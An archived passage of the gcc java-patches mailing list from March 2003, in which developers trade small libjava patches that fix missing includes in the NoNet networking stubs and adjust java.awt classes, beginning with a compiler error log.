/work/rearnsha/gnu/install/arm-elf/sys-include -L/work/rearnsha/gnu/egcs/ld -mhard-float -DHAVE_CONFIG_H -I. -I/home/rearnsha/gnusrc/egcs-cross/libjav a -I./include -I./gcj -I/home/rearnsha/gnusrc/egcs-cross/libjava -Iinclude -I/home/rearnsha/gnusrc/egcs-cross/libjava/include -I/home/rearnsha/gnusrc/egcs-cross/libjava/../boehm-gc/include -DSILENT=1 -DNO_SIGNALS=1 -DNO_EXECUTE_PERMISSION=1 -DALL_INTERIOR_POINTERS=1 -DJAVA_FINALIZATION=1 -DGC_GCJ_SUPPORT=1 -DATOMIC_UNCOLLECTABLE=1 -DNO_SIGSET=1 -DNO_DEBUGGING=1 -I/home/rearnsha/gnusrc/egcs-cross/libjava/. ././libjava/../gcc -I/home/rearnsha/gnusrc/egcs-cross/libjava/../zlib -O2 -g -O2 -fno-rtti -fnon-call-exceptions -fdollars-in-identifiers -Wswitch-enum -I/usr/X11R6/include -W -Wall -D_GNU_SOURCE -DPREFIX=\"/work/rearnsha/gnu/install\" -g -O2 -mhard-float -MD -MT java/net/natPlainSocketImpl.lo -MF java/net/natPlainSocketImpl.pp -c java/net/natPlainSocketImpl.cc -o java/net/natPlainSocketImpl.o java/net/natPlainSocketImpl.cc: In member function `virtual void java::net::PlainSocketImpl::create(__java_boolean)': java/net/natPlainSocketImpl.cc:18: error: invalid use of undefined type `struct java::io::IOException' /home/rearnsha/gnusrc/egcs-cross/libjava/gcj/javaprims.h:76: error: forward declaration of `struct java::io::IOException' java/net/natPlainSocketImpl.cc: In member function `virtual void java::net::PlainSocketImpl::bind(java::net::InetAddress*, __java_int)': java/net/natPlainSocketImpl.cc:24: error: expected `;' java/net/natPlainSocketImpl.cc: In member function `virtual void java::net::PlainSocketImpl::connect(java::net::SocketAddress*, __java_int)': java/net/natPlainSocketImpl.cc:31: error: expected `;' java/net/natPlainSocketImpl.cc: In member function `virtual void java::net::PlainSocketImpl::listen(__java_int)': java/net/natPlainSocketImpl.cc:39: error: invalid use of undefined type `struct java::io::IOException' /home/rearnsha/gnusrc/egcs-cross/libjava/gcj/javaprims.h:76: error: forward declaration of `struct java::io::IOException' java/net/natPlainSocketImpl.cc: In member function `void java::net::PlainSocketImpl::accept(java::net::PlainSocketImpl*)': java/net/natPlainSocketImpl.cc:46: error: invalid use of undefined type `struct java::io::IOException' /home/rearnsha/gnusrc/egcs-cross/libjava/gcj/javaprims.h:76: error: forward declaration of `struct java::io::IOException' java/net/natPlainSocketImpl.cc: In member function `virtual void java::net::PlainSocketImpl::setOption(__java_int, java::lang::Object*)': java/net/natPlainSocketImpl.cc:52: error: expected `;' java/net/natPlainSocketImpl.cc: In member function `virtual java::lang::Object* java::net::PlainSocketImpl::getOption(__java_int)': java/net/natPlainSocketImpl.cc:59: error: expected `;' java/net/natPlainSocketImpl.cc: In member function `jint java::net::PlainSocketImpl::read()': java/net/natPlainSocketImpl.cc:66: error: expected `;' java/net/natPlainSocketImpl.cc: In member function `jint java::net::PlainSocketImpl::read(JArray*, __java_int, __java_int)': java/net/natPlainSocketImpl.cc:73: error: expected `;' java/net/natPlainSocketImpl.cc:72: warning: unused parameter ` JArray*buffer' java/net/natPlainSocketImpl.cc:72: warning: unused parameter `jint offset' java/net/natPlainSocketImpl.cc:72: warning: unused parameter `jint count' java/net/natPlainSocketImpl.cc: In member function `void java::net::PlainSocketImpl::write(__java_int)': java/net/natPlainSocketImpl.cc:80: error: expected `;' java/net/natPlainSocketImpl.cc:79: warning: unused parameter `jint b' java/net/natPlainSocketImpl.cc: In member function `void java::net::PlainSocketImpl::write(JArray*, __java_int, __java_int)': java/net/natPlainSocketImpl.cc:87: error: expected `;' java/net/natPlainSocketImpl.cc:86: warning: unused parameter `JArray *b' java/net/natPlainSocketImpl.cc:86: warning: unused parameter `jint offset' java/net/natPlainSocketImpl.cc:86: warning: unused parameter `jint len' java/net/natPlainSocketImpl.cc: In member function `virtual void java::net::PlainSocketImpl::sendUrgentData(__java_int)': java/net/natPlainSocketImpl.cc:94: error: expected `;' java/net/natPlainSocketImpl.cc:93: warning: unused parameter `jint data' java/net/natPlainSocketImpl.cc: In member function `virtual jint java::net::PlainSocketImpl::available()': java/net/natPlainSocketImpl.cc:101: error: expected `;' java/net/natPlainSocketImpl.cc: In member function `virtual void java::net::PlainSocketImpl::close()': java/net/natPlainSocketImpl.cc:108: error: expected `;' java/net/natPlainSocketImpl.cc: In member function `virtual void java::net::PlainSocketImpl::shutdownInput()': java/net/natPlainSocketImpl.cc:115: error: expected `;' java/net/natPlainSocketImpl.cc: In member function `virtual void java::net::PlainSocketImpl::shutdownOutput()': java/net/natPlainSocketImpl.cc:122: error: expected `;' gnumake[4]: *** [java/net/natPlainSocketImpl.lo] Error 1 R. From java-patches-return-6575-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 12:03:23 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7620 invoked by alias); 24 Mar 2003 12:03:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7613 invoked from network); 24 Mar 2003 12:03:22 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by sources.redhat.com with SMTP; 24 Mar 2003 12:03:22 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-132.ewetel.net [80.228.73.132]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2OC3F8G029643; Mon, 24 Mar 2003 13:03:20 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18xQeA-0000IE-00; Mon, 24 Mar 2003 13:01:46 +0100 From: Michael Koch To: Richard.Earnshaw@arm.com, Richard Earnshaw , java-patches@gcc.gnu.org Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch Date: Mon, 24 Mar 2003 13:04:37 +0100 User-Agent: KMail/1.5 Cc: Richard.Earnshaw@arm.com References: <200303241127.h2OBRxJ22186@pc960.cambridge.arm.com> In-Reply-To: <200303241127.h2OBRxJ22186@pc960.cambridge.arm.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_VRvf+VtjtNwHudP" Message-Id: <200303241304.41028.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_VRvf+VtjtNwHudP Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Montag, 24. M=E4rz 2003 12:27 schrieb Richard Earnshaw: > 2003-03-17 Michael Koch > > + * configure.in: Create links to architecture dependent files, > + introduced PLATFORMNET variable (set to NoNet for newlib usage). > + * configure: Regenerated. > + * java/net/natInetAddressNoNet.cc, > + java/net/natInetAddressPosix.cc, > + java/net/natInetAddressWin32.cc, > + java/net/natNetworkInterfaceNoNet.cc, > + java/net/natNetworkInterfacePosix.cc, > + java/net/natNetworkInterfaceWin32.cc, > + java/net/natPlainDatagramSocketImplNoNet.cc, > + java/net/natPlainDatagramSocketImplPosix.cc, > + java/net/natPlainDatagramSocketImplWin32.cc, > + java/net/natPlainSocketImplNoNet.cc, > + java/net/natPlainSocketImplPosix.cc, > + java/net/natPlainSocketImplWin32.cc: New files. I hate that news. I have made a patch for you. Can you please test it and tell me if its=20 wourking now ? Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+fvRYWSOgCCdjSDsRAoMGAJ0dhJaENSQDnGloB0XrJcm+QoAokwCfaBlR XpdRvYrjhWcDJ6hih3ZroAs=3D =3DiZJp =2D----END PGP SIGNATURE----- --Boundary-00=_VRvf+VtjtNwHudP Content-Type: text/x-diff; charset="iso-8859-1"; name="nonet.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="nonet.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1806 diff -u -r1.1806 ChangeLog --- ChangeLog 24 Mar 2003 08:27:27 -0000 1.1806 +++ ChangeLog 24 Mar 2003 12:01:14 -0000 @@ -1,5 +1,12 @@ 2003-03-24 Michael Koch + * java/net/natInetAddressNoNet.cc: + Include stddef.h. + * java/net/natPlainDatagramSocketImplNoNet.cc: + Include gcj/cni.h and fix inlcude of java/net/DatagramPacket.h. + +2003-03-24 Michael Koch + * java/io/DataInputStream.java (): Wrapped documentation line. (): Fixed @return tag. Index: java/net/natInetAddressNoNet.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/natInetAddressNoNet.cc,v retrieving revision 1.1 diff -u -r1.1 natInetAddressNoNet.cc --- java/net/natInetAddressNoNet.cc 18 Mar 2003 06:01:16 -0000 1.1 +++ java/net/natInetAddressNoNet.cc 24 Mar 2003 12:01:14 -0000 @@ -7,6 +7,7 @@ details. */ #include +#include #include Index: java/net/natPlainDatagramSocketImplNoNet.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/natPlainDatagramSocketImplNoNet.cc,v retrieving revision 1.1 diff -u -r1.1 natPlainDatagramSocketImplNoNet.cc --- java/net/natPlainDatagramSocketImplNoNet.cc 18 Mar 2003 06:01:16 -0000 1.1 +++ java/net/natPlainDatagramSocketImplNoNet.cc 24 Mar 2003 12:01:14 -0000 @@ -9,10 +9,11 @@ #include #include +#include #include #include #include -#include +#include #include #include #include --Boundary-00=_VRvf+VtjtNwHudP-- From java-patches-return-6576-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 12:09:43 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8418 invoked by alias); 24 Mar 2003 12:09:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8403 invoked from network); 24 Mar 2003 12:09:40 -0000 Received: from unknown (HELO fw-cam.cambridge.arm.com) (193.131.176.3) by sources.redhat.com with SMTP; 24 Mar 2003 12:09:40 -0000 Received: by fw-cam.cambridge.arm.com; id MAA15738; Mon, 24 Mar 2003 12:09:40 GMT Received: from unknown(172.16.1.2) by fw-cam.cambridge.arm.com via smap (V5.5) id xma015636; Mon, 24 Mar 03 12:09:35 GMT Received: from pc960.cambridge.arm.com (pc960.cambridge.arm.com [10.1.205.4]) by cam-admin0.cambridge.arm.com (8.9.3/8.9.3) with ESMTP id MAA20192; Mon, 24 Mar 2003 12:09:35 GMT Received: from pc960.cambridge.arm.com (rearnsha@localhost) by pc960.cambridge.arm.com (8.11.6/8.9.3) with ESMTP id h2OC9ZS25568; Mon, 24 Mar 2003 12:09:35 GMT Message-Id: <200303241209.h2OC9ZS25568@pc960.cambridge.arm.com> X-Authentication-Warning: pc960.cambridge.arm.com: rearnsha owned process doing -bs To: Michael Koch cc: Richard.Earnshaw@arm.com, Richard Earnshaw , java-patches@gcc.gnu.org Reply-To: Richard.Earnshaw@arm.com Organization: ARM Ltd. X-Telephone: +44 1223 400569 (direct+voicemail), +44 1223 400400 (switchbd) X-Fax: +44 1223 400410 X-Address: ARM Ltd., 110 Fulbourn Road, Cherry Hinton, Cambridge CB1 9NJ. Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch In-reply-to: Your message of "Mon, 24 Mar 2003 13:04:37 +0100." <200303241304.41028.konqueror@gmx.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Date: Mon, 24 Mar 2003 12:09:35 +0000 From: Richard Earnshaw > Am Montag, 24. M=E4rz 2003 12:27 schrieb Richard Earnshaw: > > 2003-03-17 Michael Koch > > > > + * configure.in: Create links to architecture dependent files, > > + introduced PLATFORMNET variable (set to NoNet for newlib usage). > > + * configure: Regenerated. > > + * java/net/natInetAddressNoNet.cc, > > + java/net/natInetAddressPosix.cc, > > + java/net/natInetAddressWin32.cc, > > + java/net/natNetworkInterfaceNoNet.cc, > > + java/net/natNetworkInterfacePosix.cc, > > + java/net/natNetworkInterfaceWin32.cc, > > + java/net/natPlainDatagramSocketImplNoNet.cc, > > + java/net/natPlainDatagramSocketImplPosix.cc, > > + java/net/natPlainDatagramSocketImplWin32.cc, > > + java/net/natPlainSocketImplNoNet.cc, > > + java/net/natPlainSocketImplPosix.cc, > > + java/net/natPlainSocketImplWin32.cc: New files. > = > I hate that news. Don't we all :-( > = > I have made a patch for you. Can you please test it and tell me if its = > wourking now ? What about the natPlainSocketImpl problem (problem 3 in previous mail)? R. From java-patches-return-6577-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 12:18:13 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13221 invoked by alias); 24 Mar 2003 12:18:13 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13213 invoked from network); 24 Mar 2003 12:18:12 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by sources.redhat.com with SMTP; 24 Mar 2003 12:18:12 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-132.ewetel.net [80.228.73.132]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2OCI88G004880; Mon, 24 Mar 2003 13:18:11 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18xQsZ-0000J8-00; Mon, 24 Mar 2003 13:16:39 +0100 From: Michael Koch To: Richard.Earnshaw@arm.com Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch Date: Mon, 24 Mar 2003 13:19:35 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200303241209.h2OC9ZS25568@pc960.cambridge.arm.com> In-Reply-To: <200303241209.h2OC9ZS25568@pc960.cambridge.arm.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_Xfvf+oL37qvHxh1" Message-Id: <200303241319.35491.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_Xfvf+oL37qvHxh1 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Montag, 24. M=E4rz 2003 13:09 schrieb Richard Earnshaw: > > Am Montag, 24. M=E4rz 2003 12:27 schrieb Richard Earnshaw: > > > 2003-03-17 Michael Koch > > > > > > + * configure.in: Create links to architecture dependent files, > > > + introduced PLATFORMNET variable (set to NoNet for newlib > > > usage). + * configure: Regenerated. > > > + * java/net/natInetAddressNoNet.cc, > > > + java/net/natInetAddressPosix.cc, > > > + java/net/natInetAddressWin32.cc, > > > + java/net/natNetworkInterfaceNoNet.cc, > > > + java/net/natNetworkInterfacePosix.cc, > > > + java/net/natNetworkInterfaceWin32.cc, > > > + java/net/natPlainDatagramSocketImplNoNet.cc, > > > + java/net/natPlainDatagramSocketImplPosix.cc, > > > + java/net/natPlainDatagramSocketImplWin32.cc, > > > + java/net/natPlainSocketImplNoNet.cc, > > > + java/net/natPlainSocketImplPosix.cc, > > > + java/net/natPlainSocketImplWin32.cc: New files. > > > > I hate that news. > > Don't we all :-( > > > I have made a patch for you. Can you please test it and tell me > > if its wourking now ? > > What about the natPlainSocketImpl problem (problem 3 in previous > mail)? Hmm, I hoped that would be fixed with the include of gcj/cni.h but I=20 was just a little bit blind. Here the next try. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+fvfXWSOgCCdjSDsRArZNAKCStt/28+M6rIUOe3ub8DPrSjiRygCeOYJN d51jP/gQ7ZnImLOv6hfLZAM=3D =3DOIDR =2D----END PGP SIGNATURE----- --Boundary-00=_Xfvf+oL37qvHxh1 Content-Type: text/x-diff; charset="iso-8859-1"; name="nonet.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="nonet.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1806 diff -u -r1.1806 ChangeLog --- ChangeLog 24 Mar 2003 08:27:27 -0000 1.1806 +++ ChangeLog 24 Mar 2003 12:17:32 -0000 @@ -1,5 +1,14 @@ 2003-03-24 Michael Koch + * java/net/natInetAddressNoNet.cc: + Include stddef.h. + * java/net/natPlainDatagramSocketImplNoNet.cc: + Fixed inlcude of java/net/DatagramPacket.h. + * java/net/natPlainSocketImplNoNet.cc: + Include some missing classes. + +2003-03-24 Michael Koch + * java/io/DataInputStream.java (): Wrapped documentation line. (): Fixed @return tag. Index: java/net/natInetAddressNoNet.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/natInetAddressNoNet.cc,v retrieving revision 1.1 diff -u -r1.1 natInetAddressNoNet.cc --- java/net/natInetAddressNoNet.cc 18 Mar 2003 06:01:16 -0000 1.1 +++ java/net/natInetAddressNoNet.cc 24 Mar 2003 12:17:32 -0000 @@ -7,6 +7,7 @@ details. */ #include +#include #include Index: java/net/natPlainDatagramSocketImplNoNet.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/natPlainDatagramSocketImplNoNet.cc,v retrieving revision 1.1 diff -u -r1.1 natPlainDatagramSocketImplNoNet.cc --- java/net/natPlainDatagramSocketImplNoNet.cc 18 Mar 2003 06:01:16 -0000 1.1 +++ java/net/natPlainDatagramSocketImplNoNet.cc 24 Mar 2003 12:17:32 -0000 @@ -12,7 +12,7 @@ #include #include #include -#include +#include #include #include #include Index: java/net/natPlainSocketImplNoNet.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/net/natPlainSocketImplNoNet.cc,v retrieving revision 1.1 diff -u -r1.1 natPlainSocketImplNoNet.cc --- java/net/natPlainSocketImplNoNet.cc 18 Mar 2003 06:01:16 -0000 1.1 +++ java/net/natPlainSocketImplNoNet.cc 24 Mar 2003 12:17:32 -0000 @@ -9,7 +9,11 @@ #include #include +#include +#include +#include #include +#include void java::net::PlainSocketImpl::create (jboolean) --Boundary-00=_Xfvf+oL37qvHxh1-- From java-patches-return-6578-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 13:13:00 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27790 invoked by alias); 24 Mar 2003 13:13:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27614 invoked from network); 24 Mar 2003 13:12:56 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by sources.redhat.com with SMTP; 24 Mar 2003 13:12:56 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-132.ewetel.net [80.228.73.132]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2ODCs8G023150 for ; Mon, 24 Mar 2003 14:12:55 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18xRjX-0000LY-00 for ; Mon, 24 Mar 2003 14:11:23 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.awt.dnd Date: Mon, 24 Mar 2003 14:14:19 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_rSwf+n3AQBtwpvn" Message-Id: <200303241414.19244.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_rSwf+n3AQBtwpvn Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commit the attached patch to trunk to merge java.awt.dnd with=20 classpath again. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+fwSrWSOgCCdjSDsRAqJ5AJ0YsemnMlZzNQkczZnNIOIoXdRTXACggCss ZmJuCn5HIQgVVBqSXMvK1I8=3D =3DADN9 =2D----END PGP SIGNATURE----- --Boundary-00=_rSwf+n3AQBtwpvn Content-Type: text/x-diff; charset="iso-8859-15"; name="dnd.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="dnd.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1806 diff -u -r1.1806 ChangeLog --- ChangeLog 24 Mar 2003 08:27:27 -0000 1.1806 +++ ChangeLog 24 Mar 2003 13:11:33 -0000 @@ -1,5 +1,14 @@ 2003-03-24 Michael Koch + * java/awt/dnd/DropTarget.java + (DropTargetAutoScroller): According to the online documentation, this + is protected, but in reality it is public. + * java/awt/dnd/DropTargetContext.java + (TransferableProxy): According to the online documentation, this + is protected, but in reality it is public. + +2003-03-24 Michael Koch + * java/io/DataInputStream.java (): Wrapped documentation line. (): Fixed @return tag. Index: java/awt/dnd/DropTarget.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DropTarget.java,v retrieving revision 1.6 diff -u -r1.6 DropTarget.java --- java/awt/dnd/DropTarget.java 2 Mar 2003 14:24:48 -0000 1.6 +++ java/awt/dnd/DropTarget.java 24 Mar 2003 13:11:33 -0000 @@ -1,5 +1,5 @@ /* DropTarget.java -- - Copyright (C) 2002 Free Software Foundation, Inc. + Copyright (C) 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -60,7 +60,9 @@ */ private static final long serialVersionUID = -6283860791671019047L; - protected static class DropTargetAutoScroller + /** @specnote According to the online documentation, this is + * protected, but in reality it is public. */ + public static class DropTargetAutoScroller implements ActionListener { private Component component; Index: java/awt/dnd/DropTargetContext.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/dnd/DropTargetContext.java,v retrieving revision 1.5 diff -u -r1.5 DropTargetContext.java --- java/awt/dnd/DropTargetContext.java 2 Mar 2003 15:44:48 -0000 1.5 +++ java/awt/dnd/DropTargetContext.java 24 Mar 2003 13:11:33 -0000 @@ -1,5 +1,5 @@ /* DropTargetContext.java -- - Copyright (C) 2002 Free Software Foundation + Copyright (C) 2002, 2003 Free Software Foundation This file is part of GNU Classpath. @@ -55,7 +55,9 @@ { static final long serialVersionUID = -634158968993743371L; - protected class TransferableProxy implements Transferable + /** @specnote According to the online documentation, this is + * protected, but in reality it is public. */ + public class TransferableProxy implements Transferable { protected boolean isLocal; protected Transferable transferable; --Boundary-00=_rSwf+n3AQBtwpvn-- From java-patches-return-6579-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 13:32:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1401 invoked by alias); 24 Mar 2003 13:32:26 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1387 invoked from network); 24 Mar 2003 13:32:25 -0000 Received: from unknown (HELO fw-cam.cambridge.arm.com) (193.131.176.3) by sources.redhat.com with SMTP; 24 Mar 2003 13:32:25 -0000 Received: by fw-cam.cambridge.arm.com; id NAA16391; Mon, 24 Mar 2003 13:32:24 GMT Received: from unknown(172.16.1.2) by fw-cam.cambridge.arm.com via smap (V5.5) id xma015428; Mon, 24 Mar 03 13:31:44 GMT Received: from pc960.cambridge.arm.com (pc960.cambridge.arm.com [10.1.205.4]) by cam-admin0.cambridge.arm.com (8.9.3/8.9.3) with ESMTP id NAA22898; Mon, 24 Mar 2003 13:31:43 GMT Received: from pc960.cambridge.arm.com (rearnsha@localhost) by pc960.cambridge.arm.com (8.11.6/8.9.3) with ESMTP id h2ODVh802634; Mon, 24 Mar 2003 13:31:43 GMT Message-Id: <200303241331.h2ODVh802634@pc960.cambridge.arm.com> X-Authentication-Warning: pc960.cambridge.arm.com: rearnsha owned process doing -bs To: Michael Koch cc: Richard.Earnshaw@arm.com, java-patches@gcc.gnu.org Reply-To: Richard.Earnshaw@arm.com Organization: ARM Ltd. X-Telephone: +44 1223 400569 (direct+voicemail), +44 1223 400400 (switchbd) X-Fax: +44 1223 400410 X-Address: ARM Ltd., 110 Fulbourn Road, Cherry Hinton, Cambridge CB1 9NJ. Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch In-reply-to: Your message of "Mon, 24 Mar 2003 13:19:35 +0100." <200303241319.35491.konqueror@gmx.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Date: Mon, 24 Mar 2003 13:31:42 +0000 From: Richard Earnshaw > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > = > Am Montag, 24. M=E4rz 2003 13:09 schrieb Richard Earnshaw: > > > Am Montag, 24. M=E4rz 2003 12:27 schrieb Richard Earnshaw: > > > > 2003-03-17 Michael Koch > > > > > > > > + * configure.in: Create links to architecture dependent files, > > > > + introduced PLATFORMNET variable (set to NoNet for newlib > > > > usage). + * configure: Regenerated. > > > > + * java/net/natInetAddressNoNet.cc, > > > > + java/net/natInetAddressPosix.cc, > > > > + java/net/natInetAddressWin32.cc, > > > > + java/net/natNetworkInterfaceNoNet.cc, > > > > + java/net/natNetworkInterfacePosix.cc, > > > > + java/net/natNetworkInterfaceWin32.cc, > > > > + java/net/natPlainDatagramSocketImplNoNet.cc, > > > > + java/net/natPlainDatagramSocketImplPosix.cc, > > > > + java/net/natPlainDatagramSocketImplWin32.cc, > > > > + java/net/natPlainSocketImplNoNet.cc, > > > > + java/net/natPlainSocketImplPosix.cc, > > > > + java/net/natPlainSocketImplWin32.cc: New files. > > > > > > I hate that news. > > > > Don't we all :-( > > > > > I have made a patch for you. Can you please test it and tell me > > > if its wourking now ? > > > > What about the natPlainSocketImpl problem (problem 3 in previous > > mail)? > = > Hmm, I hoped that would be fixed with the include of gcj/cni.h but I = > was just a little bit blind. Here the next try. > = Yep, that works. Thanks. R. From java-patches-return-6580-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 24 13:50:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10556 invoked by alias); 24 Mar 2003 13:50:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10533 invoked from network); 24 Mar 2003 13:50:20 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by sources.redhat.com with SMTP; 24 Mar 2003 13:50:20 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-132.ewetel.net [80.228.73.132]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2ODoIdx022083 for ; Mon, 24 Mar 2003 14:50:18 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18xSJl-0000NO-00 for ; Mon, 24 Mar 2003 14:48:49 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.awt Date: Mon, 24 Mar 2003 14:51:44 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_w1wf+CbmPzuLcy9" Message-Id: <200303241451.44915.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_w1wf+CbmPzuLcy9 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to trunk to fix some issues in java.awt. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+fw1wWSOgCCdjSDsRApVpAKCG16tUj7oJhO1zFe6p+LemeKxu4QCfevXc BbNpAZp9FGc+lStF4RyrD1U=3D =3DNj5H =2D----END PGP SIGNATURE----- --Boundary-00=_w1wf+CbmPzuLcy9 Content-Type: text/x-diff; charset="iso-8859-15"; name="awt.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="awt.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1810 diff -u -r1.1810 ChangeLog --- ChangeLog 24 Mar 2003 13:47:05 -0000 1.1810 +++ ChangeLog 24 Mar 2003 13:49:20 -0000 @@ -1,3 +1,24 @@ +2003-03-24 Michael Koch + + * java/awt/ContainerOrderFocusTraversalPolicy.java + (getFirstComponent): Implemented. + (getLastComponent): Implemented. + (getDefaultComponent): Implemented. + (setImplicitDownCycleTraversal): Fixed implementation. + * java/awt/Robot.java + (Robot): Added documentation. + * java/awt/Toolkit.java + (getFontList): Deprecated. + (getFontMetrics): Deprecated. + (getPrintJob): Added 